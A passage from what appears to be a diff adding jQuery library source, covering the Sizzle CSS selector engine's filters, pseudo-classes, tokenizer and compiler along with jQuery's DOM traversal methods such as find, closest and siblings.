=== 4 ) { + return elem.nodeValue; + } + // Do not include comment or processing instruction nodes + + return ret; +}; + +Expr = Sizzle.selectors = { + + // Can be adjusted by the user + cacheLength: 50, + + createPseudo: markFunction, + + match: matchExpr, + + find: {}, + + relative: { + ">": { dir: "parentNode", first: true }, + " ": { dir: "parentNode" }, + "+": { dir: "previousSibling", first: true }, + "~": { dir: "previousSibling" } + }, + + preFilter: { + "ATTR": function( match ) { + match[1] = match[1].replace( runescape, funescape ); + + // Move the given value to match[3] whether quoted or unquoted + match[3] = ( match[4] || match[5] || "" ).replace( runescape, funescape ); + + if ( match[2] === "~=" ) { + match[3] = " " + match[3] + " "; + } + + return match.slice( 0, 4 ); + }, + + "CHILD": function( match ) { + /* matches from matchExpr["CHILD"] + 1 type (only|nth|...) + 2 what (child|of-type) + 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...) + 4 xn-component of xn+y argument ([+-]?\d*n|) + 5 sign of xn-component + 6 x of xn-component + 7 sign of y-component + 8 y of y-component + */ + match[1] = match[1].toLowerCase(); + + if ( match[1].slice( 0, 3 ) === "nth" ) { + // nth-* requires argument + if ( !match[3] ) { + Sizzle.error( match[0] ); + } + + // numeric x and y parameters for Expr.filter.CHILD + // remember that false/true cast respectively to 0/1 + match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) ); + match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" ); + + // other types prohibit arguments + } else if ( match[3] ) { + Sizzle.error( match[0] ); + } + + return match; + }, + + "PSEUDO": function( match ) { + var excess, + unquoted = !match[5] && match[2]; + + if ( matchExpr["CHILD"].test( match[0] ) ) { + return null; + } + + // Accept quoted arguments as-is + if ( match[4] ) { + match[2] = match[4]; + + // Strip excess characters from unquoted arguments + } else if ( unquoted && rpseudo.test( unquoted ) && + // Get excess from tokenize (recursively) + (excess = tokenize( unquoted, true )) && + // advance to the next closing parenthesis + (excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) { + + // excess is a negative index + match[0] = match[0].slice( 0, excess ); + match[2] = unquoted.slice( 0, excess ); + } + + // Return only captures needed by the pseudo filter method (type and argument) + return match.slice( 0, 3 ); + } + }, + + filter: { + + "TAG": function( nodeName ) { + if ( nodeName === "*" ) { + return function() { return true; }; + } + + nodeName = nodeName.replace( runescape, funescape ).toLowerCase(); + return function( elem ) { + return elem.nodeName && elem.nodeName.toLowerCase() === nodeName; + }; + }, + + "CLASS": function( className ) { + var pattern = classCache[ className + " " ]; + + return pattern || + (pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) && + classCache( className, function( elem ) { + return pattern.test( elem.className || (typeof elem.getAttribute !== strundefined && elem.getAttribute("class")) || "" ); + }); + }, + + "ATTR": function( name, operator, check ) { + return function( elem ) { + var result = Sizzle.attr( elem, name ); + + if ( result == null ) { + return operator === "!="; + } + if ( !operator ) { + return true; + } + + result += ""; + + return operator === "=" ? result === check : + operator === "!=" ? result !== check : + operator === "^=" ? check && result.indexOf( check ) === 0 : + operator === "*=" ? check && result.indexOf( check ) > -1 : + operator === "$=" ? check && result.slice( -check.length ) === check : + operator === "~=" ? ( " " + result + " " ).indexOf( check ) > -1 : + operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" : + false; + }; + }, + + "CHILD": function( type, what, argument, first, last ) { + var simple = type.slice( 0, 3 ) !== "nth", + forward = type.slice( -4 ) !== "last", + ofType = what === "of-type"; + + return first === 1 && last === 0 ? + + // Shortcut for :nth-*(n) + function( elem ) { + return !!elem.parentNode; + } : + + function( elem, context, xml ) { + var cache, outerCache, node, diff, nodeIndex, start, + dir = simple !== forward ? "nextSibling" : "previousSibling", + parent = elem.parentNode, + name = ofType && elem.nodeName.toLowerCase(), + useCache = !xml && !ofType; + + if ( parent ) { + + // :(first|last|only)-(child|of-type) + if ( simple ) { + while ( dir ) { + node = elem; + while ( (node = node[ dir ]) ) { + if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) { + return false; + } + } + // Reverse direction for :only-* (if we haven't yet done so) + start = dir = type === "only" && !start && "nextSibling"; + } + return true; + } + + start = [ forward ? parent.firstChild : parent.lastChild ]; + + // non-xml :nth-child(...) stores cache data on `parent` + if ( forward && useCache ) { + // Seek `elem` from a previously-cached index + outerCache = parent[ expando ] || (parent[ expando ] = {}); + cache = outerCache[ type ] || []; + nodeIndex = cache[0] === dirruns && cache[1]; + diff = cache[0] === dirruns && cache[2]; + node = nodeIndex && parent.childNodes[ nodeIndex ]; + + while ( (node = ++nodeIndex && node && node[ dir ] || + + // Fallback to seeking `elem` from the start + (diff = nodeIndex = 0) || start.pop()) ) { + + // When found, cache indexes on `parent` and break + if ( node.nodeType === 1 && ++diff && node === elem ) { + outerCache[ type ] = [ dirruns, nodeIndex, diff ]; + break; + } + } + + // Use previously-cached element index if available + } else if ( useCache && (cache = (elem[ expando ] || (elem[ expando ] = {}))[ type ]) && cache[0] === dirruns ) { + diff = cache[1]; + + // xml :nth-child(...) or :nth-last-child(...) or :nth(-last)?-of-type(...) + } else { + // Use the same loop as above to seek `elem` from the start + while ( (node = ++nodeIndex && node && node[ dir ] || + (diff = nodeIndex = 0) || start.pop()) ) { + + if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) { + // Cache the index of each encountered element + if ( useCache ) { + (node[ expando ] || (node[ expando ] = {}))[ type ] = [ dirruns, diff ]; + } + + if ( node === elem ) { + break; + } + } + } + } + + // Incorporate the offset, then check against cycle size + diff -= last; + return diff === first || ( diff % first === 0 && diff / first >= 0 ); + } + }; + }, + + "PSEUDO": function( pseudo, argument ) { + // pseudo-class names are case-insensitive + // http://www.w3.org/TR/selectors/#pseudo-classes + // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters + // Remember that setFilters inherits from pseudos + var args, + fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] || + Sizzle.error( "unsupported pseudo: " + pseudo ); + + // The user may use createPseudo to indicate that + // arguments are needed to create the filter function + // just as Sizzle does + if ( fn[ expando ] ) { + return fn( argument ); + } + + // But maintain support for old signatures + if ( fn.length > 1 ) { + args = [ pseudo, pseudo, "", argument ]; + return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ? + markFunction(function( seed, matches ) { + var idx, + matched = fn( seed, argument ), + i = matched.length; + while ( i-- ) { + idx = indexOf.call( seed, matched[i] ); + seed[ idx ] = !( matches[ idx ] = matched[i] ); + } + }) : + function( elem ) { + return fn( elem, 0, args ); + }; + } + + return fn; + } + }, + + pseudos: { + // Potentially complex pseudos + "not": markFunction(function( selector ) { + // Trim the selector passed to compile + // to avoid treating leading and trailing + // spaces as combinators + var input = [], + results = [], + matcher = compile( selector.replace( rtrim, "$1" ) ); + + return matcher[ expando ] ? + markFunction(function( seed, matches, context, xml ) { + var elem, + unmatched = matcher( seed, null, xml, [] ), + i = seed.length; + + // Match elements unmatched by `matcher` + while ( i-- ) { + if ( (elem = unmatched[i]) ) { + seed[i] = !(matches[i] = elem); + } + } + }) : + function( elem, context, xml ) { + input[0] = elem; + matcher( input, null, xml, results ); + return !results.pop(); + }; + }), + + "has": markFunction(function( selector ) { + return function( elem ) { + return Sizzle( selector, elem ).length > 0; + }; + }), + + "contains": markFunction(function( text ) { + return function( elem ) { + return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1; + }; + }), + + // "Whether an element is represented by a :lang() selector + // is based solely on the element's language value + // being equal to the identifier C, + // or beginning with the identifier C immediately followed by "-". + // The matching of C against the element's language value is performed case-insensitively. + // The identifier C does not have to be a valid language name." + // http://www.w3.org/TR/selectors/#lang-pseudo + "lang": markFunction( function( lang ) { + // lang value must be a valid identifider + if ( !ridentifier.test(lang || "") ) { + Sizzle.error( "unsupported lang: " + lang ); + } + lang = lang.replace( runescape, funescape ).toLowerCase(); + return function( elem ) { + var elemLang; + do { + if ( (elemLang = documentIsXML ? + elem.getAttribute("xml:lang") || elem.getAttribute("lang") : + elem.lang) ) { + + elemLang = elemLang.toLowerCase(); + return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0; + } + } while ( (elem = elem.parentNode) && elem.nodeType === 1 ); + return false; + }; + }), + + // Miscellaneous + "target": function( elem ) { + var hash = window.location && window.location.hash; + return hash && hash.slice( 1 ) === elem.id; + }, + + "root": function( elem ) { + return elem === docElem; + }, + + "focus": function( elem ) { + return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex); + }, + + // Boolean properties + "enabled": function( elem ) { + return elem.disabled === false; + }, + + "disabled": function( elem ) { + return elem.disabled === true; + }, + + "checked": function( elem ) { + // In CSS3, :checked should return both checked and selected elements + // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked + var nodeName = elem.nodeName.toLowerCase(); + return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected); + }, + + "selected": function( elem ) { + // Accessing this property makes selected-by-default + // options in Safari work properly + if ( elem.parentNode ) { + elem.parentNode.selectedIndex; + } + + return elem.selected === true; + }, + + // Contents + "empty": function( elem ) { + // http://www.w3.org/TR/selectors/#empty-pseudo + // :empty is only affected by element nodes and content nodes(including text(3), cdata(4)), + // not comment, processing instructions, or others + // Thanks to Diego Perini for the nodeName shortcut + // Greater than "@" means alpha characters (specifically not starting with "#" or "?") + for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { + if ( elem.nodeName > "@" || elem.nodeType === 3 || elem.nodeType === 4 ) { + return false; + } + } + return true; + }, + + "parent": function( elem ) { + return !Expr.pseudos["empty"]( elem ); + }, + + // Element/input types + "header": function( elem ) { + return rheader.test( elem.nodeName ); + }, + + "input": function( elem ) { + return rinputs.test( elem.nodeName ); + }, + + "button": function( elem ) { + var name = elem.nodeName.toLowerCase(); + return name === "input" && elem.type === "button" || name === "button"; + }, + + "text": function( elem ) { + var attr; + // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc) + // use getAttribute instead to test this case + return elem.nodeName.toLowerCase() === "input" && + elem.type === "text" && + ( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === elem.type ); + }, + + // Position-in-collection + "first": createPositionalPseudo(function() { + return [ 0 ]; + }), + + "last": createPositionalPseudo(function( matchIndexes, length ) { + return [ length - 1 ]; + }), + + "eq": createPositionalPseudo(function( matchIndexes, length, argument ) { + return [ argument < 0 ? argument + length : argument ]; + }), + + "even": createPositionalPseudo(function( matchIndexes, length ) { + var i = 0; + for ( ; i < length; i += 2 ) { + matchIndexes.push( i ); + } + return matchIndexes; + }), + + "odd": createPositionalPseudo(function( matchIndexes, length ) { + var i = 1; + for ( ; i < length; i += 2 ) { + matchIndexes.push( i ); + } + return matchIndexes; + }), + + "lt": createPositionalPseudo(function( matchIndexes, length, argument ) { + var i = argument < 0 ? argument + length : argument; + for ( ; --i >= 0; ) { + matchIndexes.push( i ); + } + return matchIndexes; + }), + + "gt": createPositionalPseudo(function( matchIndexes, length, argument ) { + var i = argument < 0 ? argument + length : argument; + for ( ; ++i < length; ) { + matchIndexes.push( i ); + } + return matchIndexes; + }) + } +}; + +// Add button/input type pseudos +for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) { + Expr.pseudos[ i ] = createInputPseudo( i ); +} +for ( i in { submit: true, reset: true } ) { + Expr.pseudos[ i ] = createButtonPseudo( i ); +} + +function tokenize( selector, parseOnly ) { + var matched, match, tokens, type, + soFar, groups, preFilters, + cached = tokenCache[ selector + " " ]; + + if ( cached ) { + return parseOnly ? 0 : cached.slice( 0 ); + } + + soFar = selector; + groups = []; + preFilters = Expr.preFilter; + + while ( soFar ) { + + // Comma and first run + if ( !matched || (match = rcomma.exec( soFar )) ) { + if ( match ) { + // Don't consume trailing commas as valid + soFar = soFar.slice( match[0].length ) || soFar; + } + groups.push( tokens = [] ); + } + + matched = false; + + // Combinators + if ( (match = rcombinators.exec( soFar )) ) { + matched = match.shift(); + tokens.push( { + value: matched, + // Cast descendant combinators to space + type: match[0].replace( rtrim, " " ) + } ); + soFar = soFar.slice( matched.length ); + } + + // Filters + for ( type in Expr.filter ) { + if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] || + (match = preFilters[ type ]( match ))) ) { + matched = match.shift(); + tokens.push( { + value: matched, + type: type, + matches: match + } ); + soFar = soFar.slice( matched.length ); + } + } + + if ( !matched ) { + break; + } + } + + // Return the length of the invalid excess + // if we're just parsing + // Otherwise, throw an error or return tokens + return parseOnly ? + soFar.length : + soFar ? + Sizzle.error( selector ) : + // Cache the tokens + tokenCache( selector, groups ).slice( 0 ); +} + +function toSelector( tokens ) { + var i = 0, + len = tokens.length, + selector = ""; + for ( ; i < len; i++ ) { + selector += tokens[i].value; + } + return selector; +} + +function addCombinator( matcher, combinator, base ) { + var dir = combinator.dir, + checkNonElements = base && dir === "parentNode", + doneName = done++; + + return combinator.first ? + // Check against closest ancestor/preceding element + function( elem, context, xml ) { + while ( (elem = elem[ dir ]) ) { + if ( elem.nodeType === 1 || checkNonElements ) { + return matcher( elem, context, xml ); + } + } + } : + + // Check against all ancestor/preceding elements + function( elem, context, xml ) { + var data, cache, outerCache, + dirkey = dirruns + " " + doneName; + + // We can't set arbitrary data on XML nodes, so they don't benefit from dir caching + if ( xml ) { + while ( (elem = elem[ dir ]) ) { + if ( elem.nodeType === 1 || checkNonElements ) { + if ( matcher( elem, context, xml ) ) { + return true; + } + } + } + } else { + while ( (elem = elem[ dir ]) ) { + if ( elem.nodeType === 1 || checkNonElements ) { + outerCache = elem[ expando ] || (elem[ expando ] = {}); + if ( (cache = outerCache[ dir ]) && cache[0] === dirkey ) { + if ( (data = cache[1]) === true || data === cachedruns ) { + return data === true; + } + } else { + cache = outerCache[ dir ] = [ dirkey ]; + cache[1] = matcher( elem, context, xml ) || cachedruns; + if ( cache[1] === true ) { + return true; + } + } + } + } + } + }; +} + +function elementMatcher( matchers ) { + return matchers.length > 1 ? + function( elem, context, xml ) { + var i = matchers.length; + while ( i-- ) { + if ( !matchers[i]( elem, context, xml ) ) { + return false; + } + } + return true; + } : + matchers[0]; +} + +function condense( unmatched, map, filter, context, xml ) { + var elem, + newUnmatched = [], + i = 0, + len = unmatched.length, + mapped = map != null; + + for ( ; i < len; i++ ) { + if ( (elem = unmatched[i]) ) { + if ( !filter || filter( elem, context, xml ) ) { + newUnmatched.push( elem ); + if ( mapped ) { + map.push( i ); + } + } + } + } + + return newUnmatched; +} + +function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) { + if ( postFilter && !postFilter[ expando ] ) { + postFilter = setMatcher( postFilter ); + } + if ( postFinder && !postFinder[ expando ] ) { + postFinder = setMatcher( postFinder, postSelector ); + } + return markFunction(function( seed, results, context, xml ) { + var temp, i, elem, + preMap = [], + postMap = [], + preexisting = results.length, + + // Get initial elements from seed or context + elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ), + + // Prefilter to get matcher input, preserving a map for seed-results synchronization + matcherIn = preFilter && ( seed || !selector ) ? + condense( elems, preMap, preFilter, context, xml ) : + elems, + + matcherOut = matcher ? + // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results, + postFinder || ( seed ? preFilter : preexisting || postFilter ) ? + + // ...intermediate processing is necessary + [] : + + // ...otherwise use results directly + results : + matcherIn; + + // Find primary matches + if ( matcher ) { + matcher( matcherIn, matcherOut, context, xml ); + } + + // Apply postFilter + if ( postFilter ) { + temp = condense( matcherOut, postMap ); + postFilter( temp, [], context, xml ); + + // Un-match failing elements by moving them back to matcherIn + i = temp.length; + while ( i-- ) { + if ( (elem = temp[i]) ) { + matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem); + } + } + } + + if ( seed ) { + if ( postFinder || preFilter ) { + if ( postFinder ) { + // Get the final matcherOut by condensing this intermediate into postFinder contexts + temp = []; + i = matcherOut.length; + while ( i-- ) { + if ( (elem = matcherOut[i]) ) { + // Restore matcherIn since elem is not yet a final match + temp.push( (matcherIn[i] = elem) ); + } + } + postFinder( null, (matcherOut = []), temp, xml ); + } + + // Move matched elements from seed to results to keep them synchronized + i = matcherOut.length; + while ( i-- ) { + if ( (elem = matcherOut[i]) && + (temp = postFinder ? indexOf.call( seed, elem ) : preMap[i]) > -1 ) { + + seed[temp] = !(results[temp] = elem); + } + } + } + + // Add elements to results, through postFinder if defined + } else { + matcherOut = condense( + matcherOut === results ? + matcherOut.splice( preexisting, matcherOut.length ) : + matcherOut + ); + if ( postFinder ) { + postFinder( null, results, matcherOut, xml ); + } else { + push.apply( results, matcherOut ); + } + } + }); +} + +function matcherFromTokens( tokens ) { + var checkContext, matcher, j, + len = tokens.length, + leadingRelative = Expr.relative[ tokens[0].type ], + implicitRelative = leadingRelative || Expr.relative[" "], + i = leadingRelative ? 1 : 0, + + // The foundational matcher ensures that elements are reachable from top-level context(s) + matchContext = addCombinator( function( elem ) { + return elem === checkContext; + }, implicitRelative, true ), + matchAnyContext = addCombinator( function( elem ) { + return indexOf.call( checkContext, elem ) > -1; + }, implicitRelative, true ), + matchers = [ function( elem, context, xml ) { + return ( !leadingRelative && ( xml || context !== outermostContext ) ) || ( + (checkContext = context).nodeType ? + matchContext( elem, context, xml ) : + matchAnyContext( elem, context, xml ) ); + } ]; + + for ( ; i < len; i++ ) { + if ( (matcher = Expr.relative[ tokens[i].type ]) ) { + matchers = [ addCombinator(elementMatcher( matchers ), matcher) ]; + } else { + matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches ); + + // Return special upon seeing a positional matcher + if ( matcher[ expando ] ) { + // Find the next relative operator (if any) for proper handling + j = ++i; + for ( ; j < len; j++ ) { + if ( Expr.relative[ tokens[j].type ] ) { + break; + } + } + return setMatcher( + i > 1 && elementMatcher( matchers ), + i > 1 && toSelector( tokens.slice( 0, i - 1 ) ).replace( rtrim, "$1" ), + matcher, + i < j && matcherFromTokens( tokens.slice( i, j ) ), + j < len && matcherFromTokens( (tokens = tokens.slice( j )) ), + j < len && toSelector( tokens ) + ); + } + matchers.push( matcher ); + } + } + + return elementMatcher( matchers ); +} + +function matcherFromGroupMatchers( elementMatchers, setMatchers ) { + // A counter to specify which element is currently being matched + var matcherCachedRuns = 0, + bySet = setMatchers.length > 0, + byElement = elementMatchers.length > 0, + superMatcher = function( seed, context, xml, results, expandContext ) { + var elem, j, matcher, + setMatched = [], + matchedCount = 0, + i = "0", + unmatched = seed && [], + outermost = expandContext != null, + contextBackup = outermostContext, + // We must always have either seed elements or context + elems = seed || byElement && Expr.find["TAG"]( "*", expandContext && context.parentNode || context ), + // Use integer dirruns iff this is the outermost matcher + dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1); + + if ( outermost ) { + outermostContext = context !== document && context; + cachedruns = matcherCachedRuns; + } + + // Add elements passing elementMatchers directly to results + // Keep `i` a string if there are no elements so `matchedCount` will be "00" below + for ( ; (elem = elems[i]) != null; i++ ) { + if ( byElement && elem ) { + j = 0; + while ( (matcher = elementMatchers[j++]) ) { + if ( matcher( elem, context, xml ) ) { + results.push( elem ); + break; + } + } + if ( outermost ) { + dirruns = dirrunsUnique; + cachedruns = ++matcherCachedRuns; + } + } + + // Track unmatched elements for set filters + if ( bySet ) { + // They will have gone through all possible matchers + if ( (elem = !matcher && elem) ) { + matchedCount--; + } + + // Lengthen the array for every element, matched or not + if ( seed ) { + unmatched.push( elem ); + } + } + } + + // Apply set filters to unmatched elements + matchedCount += i; + if ( bySet && i !== matchedCount ) { + j = 0; + while ( (matcher = setMatchers[j++]) ) { + matcher( unmatched, setMatched, context, xml ); + } + + if ( seed ) { + // Reintegrate element matches to eliminate the need for sorting + if ( matchedCount > 0 ) { + while ( i-- ) { + if ( !(unmatched[i] || setMatched[i]) ) { + setMatched[i] = pop.call( results ); + } + } + } + + // Discard index placeholder values to get only actual matches + setMatched = condense( setMatched ); + } + + // Add matches to results + push.apply( results, setMatched ); + + // Seedless set matches succeeding multiple successful matchers stipulate sorting + if ( outermost && !seed && setMatched.length > 0 && + ( matchedCount + setMatchers.length ) > 1 ) { + + Sizzle.uniqueSort( results ); + } + } + + // Override manipulation of globals by nested matchers + if ( outermost ) { + dirruns = dirrunsUnique; + outermostContext = contextBackup; + } + + return unmatched; + }; + + return bySet ? + markFunction( superMatcher ) : + superMatcher; +} + +compile = Sizzle.compile = function( selector, group /* Internal Use Only */ ) { + var i, + setMatchers = [], + elementMatchers = [], + cached = compilerCache[ selector + " " ]; + + if ( !cached ) { + // Generate a function of recursive functions that can be used to check each element + if ( !group ) { + group = tokenize( selector ); + } + i = group.length; + while ( i-- ) { + cached = matcherFromTokens( group[i] ); + if ( cached[ expando ] ) { + setMatchers.push( cached ); + } else { + elementMatchers.push( cached ); + } + } + + // Cache the compiled function + cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) ); + } + return cached; +}; + +function multipleContexts( selector, contexts, results ) { + var i = 0, + len = contexts.length; + for ( ; i < len; i++ ) { + Sizzle( selector, contexts[i], results ); + } + return results; +} + +function select( selector, context, results, seed ) { + var i, tokens, token, type, find, + match = tokenize( selector ); + + if ( !seed ) { + // Try to minimize operations if there is only one group + if ( match.length === 1 ) { + + // Take a shortcut and set the context if the root selector is an ID + tokens = match[0] = match[0].slice( 0 ); + if ( tokens.length > 2 && (token = tokens[0]).type === "ID" && + context.nodeType === 9 && !documentIsXML && + Expr.relative[ tokens[1].type ] ) { + + context = Expr.find["ID"]( token.matches[0].replace( runescape, funescape ), context )[0]; + if ( !context ) { + return results; + } + + selector = selector.slice( tokens.shift().value.length ); + } + + // Fetch a seed set for right-to-left matching + i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length; + while ( i-- ) { + token = tokens[i]; + + // Abort if we hit a combinator + if ( Expr.relative[ (type = token.type) ] ) { + break; + } + if ( (find = Expr.find[ type ]) ) { + // Search, expanding context for leading sibling combinators + if ( (seed = find( + token.matches[0].replace( runescape, funescape ), + rsibling.test( tokens[0].type ) && context.parentNode || context + )) ) { + + // If seed is empty or no tokens remain, we can return early + tokens.splice( i, 1 ); + selector = seed.length && toSelector( tokens ); + if ( !selector ) { + push.apply( results, slice.call( seed, 0 ) ); + return results; + } + + break; + } + } + } + } + } + + // Compile and execute a filtering function + // Provide `match` to avoid retokenization if we modified the selector above + compile( selector, match )( + seed, + context, + documentIsXML, + results, + rsibling.test( selector ) + ); + return results; +} + +// Deprecated +Expr.pseudos["nth"] = Expr.pseudos["eq"]; + +// Easy API for creating new setFilters +function setFilters() {} +Expr.filters = setFilters.prototype = Expr.pseudos; +Expr.setFilters = new setFilters(); + +// Initialize with the default document +setDocument(); + +// Override sizzle attribute retrieval +Sizzle.attr = jQuery.attr; +jQuery.find = Sizzle; +jQuery.expr = Sizzle.selectors; +jQuery.expr[":"] = jQuery.expr.pseudos; +jQuery.unique = Sizzle.uniqueSort; +jQuery.text = Sizzle.getText; +jQuery.isXMLDoc = Sizzle.isXML; +jQuery.contains = Sizzle.contains; + + +})( window ); +var runtil = /Until$/, + rparentsprev = /^(?:parents|prev(?:Until|All))/, + isSimple = /^.[^:#\[\.,]*$/, + rneedsContext = jQuery.expr.match.needsContext, + // methods guaranteed to produce a unique set when starting from a unique set + guaranteedUnique = { + children: true, + contents: true, + next: true, + prev: true + }; + +jQuery.fn.extend({ + find: function( selector ) { + var i, ret, self, + len = this.length; + + if ( typeof selector !== "string" ) { + self = this; + return this.pushStack( jQuery( selector ).filter(function() { + for ( i = 0; i < len; i++ ) { + if ( jQuery.contains( self[ i ], this ) ) { + return true; + } + } + }) ); + } + + ret = []; + for ( i = 0; i < len; i++ ) { + jQuery.find( selector, this[ i ], ret ); + } + + // Needed because $( selector, context ) becomes $( context ).find( selector ) + ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret ); + ret.selector = ( this.selector ? this.selector + " " : "" ) + selector; + return ret; + }, + + has: function( target ) { + var i, + targets = jQuery( target, this ), + len = targets.length; + + return this.filter(function() { + for ( i = 0; i < len; i++ ) { + if ( jQuery.contains( this, targets[i] ) ) { + return true; + } + } + }); + }, + + not: function( selector ) { + return this.pushStack( winnow(this, selector, false) ); + }, + + filter: function( selector ) { + return this.pushStack( winnow(this, selector, true) ); + }, + + is: function( selector ) { + return !!selector && ( + typeof selector === "string" ? + // If this is a positional/relative selector, check membership in the returned set + // so $("p:first").is("p:last") won't return true for a doc with two "p". + rneedsContext.test( selector ) ? + jQuery( selector, this.context ).index( this[0] ) >= 0 : + jQuery.filter( selector, this ).length > 0 : + this.filter( selector ).length > 0 ); + }, + + closest: function( selectors, context ) { + var cur, + i = 0, + l = this.length, + ret = [], + pos = rneedsContext.test( selectors ) || typeof selectors !== "string" ? + jQuery( selectors, context || this.context ) : + 0; + + for ( ; i < l; i++ ) { + cur = this[i]; + + while ( cur && cur.ownerDocument && cur !== context && cur.nodeType !== 11 ) { + if ( pos ? pos.index(cur) > -1 : jQuery.find.matchesSelector(cur, selectors) ) { + ret.push( cur ); + break; + } + cur = cur.parentNode; + } + } + + return this.pushStack( ret.length > 1 ? jQuery.unique( ret ) : ret ); + }, + + // Determine the position of an element within + // the matched set of elements + index: function( elem ) { + + // No argument, return index in parent + if ( !elem ) { + return ( this[0] && this[0].parentNode ) ? this.first().prevAll().length : -1; + } + + // index in selector + if ( typeof elem === "string" ) { + return jQuery.inArray( this[0], jQuery( elem ) ); + } + + // Locate the position of the desired element + return jQuery.inArray( + // If it receives a jQuery object, the first element is used + elem.jquery ? elem[0] : elem, this ); + }, + + add: function( selector, context ) { + var set = typeof selector === "string" ? + jQuery( selector, context ) : + jQuery.makeArray( selector && selector.nodeType ? [ selector ] : selector ), + all = jQuery.merge( this.get(), set ); + + return this.pushStack( jQuery.unique(all) ); + }, + + addBack: function( selector ) { + return this.add( selector == null ? + this.prevObject : this.prevObject.filter(selector) + ); + } +}); + +jQuery.fn.andSelf = jQuery.fn.addBack; + +function sibling( cur, dir ) { + do { + cur = cur[ dir ]; + } while ( cur && cur.nodeType !== 1 ); + + return cur; +} + +jQuery.each({ + parent: function( elem ) { + var parent = elem.parentNode; + return parent && parent.nodeType !== 11 ? parent : null; + }, + parents: function( elem ) { + return jQuery.dir( elem, "parentNode" ); + }, + parentsUntil: function( elem, i, until ) { + return jQuery.dir( elem, "parentNode", until ); + }, + next: function( elem ) { + return sibling( elem, "nextSibling" ); + }, + prev: function( elem ) { + return sibling( elem, "previousSibling" ); + }, + nextAll: function( elem ) { + return jQuery.dir( elem, "nextSibling" ); + }, + prevAll: function( elem ) { + return jQuery.dir( elem, "previousSibling" ); + }, + nextUntil: function( elem, i, until ) { + return jQuery.dir( elem, "nextSibling", until ); + }, + prevUntil: function( elem, i, until ) { + return jQuery.dir( elem, "previousSibling", until ); + }, + siblings: function( elem ) { + return jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem ); + }, + children: function( elem ) { + return jQuery.sibling( elem.firstChild ); + }, + contents: function( elem ) { + return jQuery.nodeName( elem, "iframe" ) ? + elem.contentDocument || elem.contentWindow.document : + jQuery.merge( [], elem.childNodes ); + } +}, function( name, fn ) { + jQuery.fn[ name ] = function( until, selector ) { + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( name ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 && !guaranteedUnique[ name ] ? jQuery.unique( ret ) : ret; + + if ( this.length > 1 && rparentsprev.test( name ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret ); + }; +}); + +jQuery.extend({ + filter: function( expr, elems, not ) { + if ( not ) { + expr = ":not(" + expr + ")"; + } + + return elems.length === 1 ? + jQuery.find.matchesSelector(elems[0], expr) ? [ elems[0] ] : [] : + jQuery.find.matches(expr, elems); + }, + + dir: function( elem, dir, until ) { + var matched = [], + cur = elem[ dir ]; + + while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) { + if ( cur.nodeType === 1 ) { + matched.push( cur ); + } + cur = cur[dir]; + } + return matched; + }, + + sibling: function( n, elem ) { + var r = []; + + for ( ; n; n = n.nextSibling ) { + if ( n.nodeType === 1 && n !== elem ) { + r.push( n ); + } + } + + return r; + } +}); + +// Implement the identical functionality for filter and not +function winnow( elements, qualifier, keep ) { + + // Can't pass null or undefined to indexOf in Firefox 4 + // Set to 0 to skip string check + qualifier = qualifier || 0; + + if ( jQuery.isFunction( qualifier ) ) { + return jQuery.grep(elements, function( elem, i ) { + var retVal = !!qualifier.call( elem, i, elem ); + return retVal === keep; + }); + + } else if ( qualifier.nodeType ) { + return jQuery.grep(elements, function( elem ) { + return ( elem === qualifier ) === keep; + }); + + } else if ( typeof qualifier === "string" ) { + var filtered = jQuery.grep(elements, function( elem ) { + return elem.nodeType === 1; + }); + + if ( isSimple.test( qualifier ) ) { + return jQuery.filter(qualifier, filtered, !keep); + } else { + qualifier = jQuery.filter( qualifier, filtered ); + } + } + + return jQuery.grep(elements, function( elem ) { + return ( jQuery.inArray( elem, qualifier ) >= 0 ) === keep; + }); +} +function createSafeFragment( document ) { + var list = nodeNames.split( "|" ), + safeFrag = document.createDocumentFragment(); + + if ( safeFrag.createElement ) { + while ( list.length ) { + safeFrag.createElement( + list.pop() + ); + } + } + return safeFrag; +} + +var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" + + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video", + rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g, + rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"), + 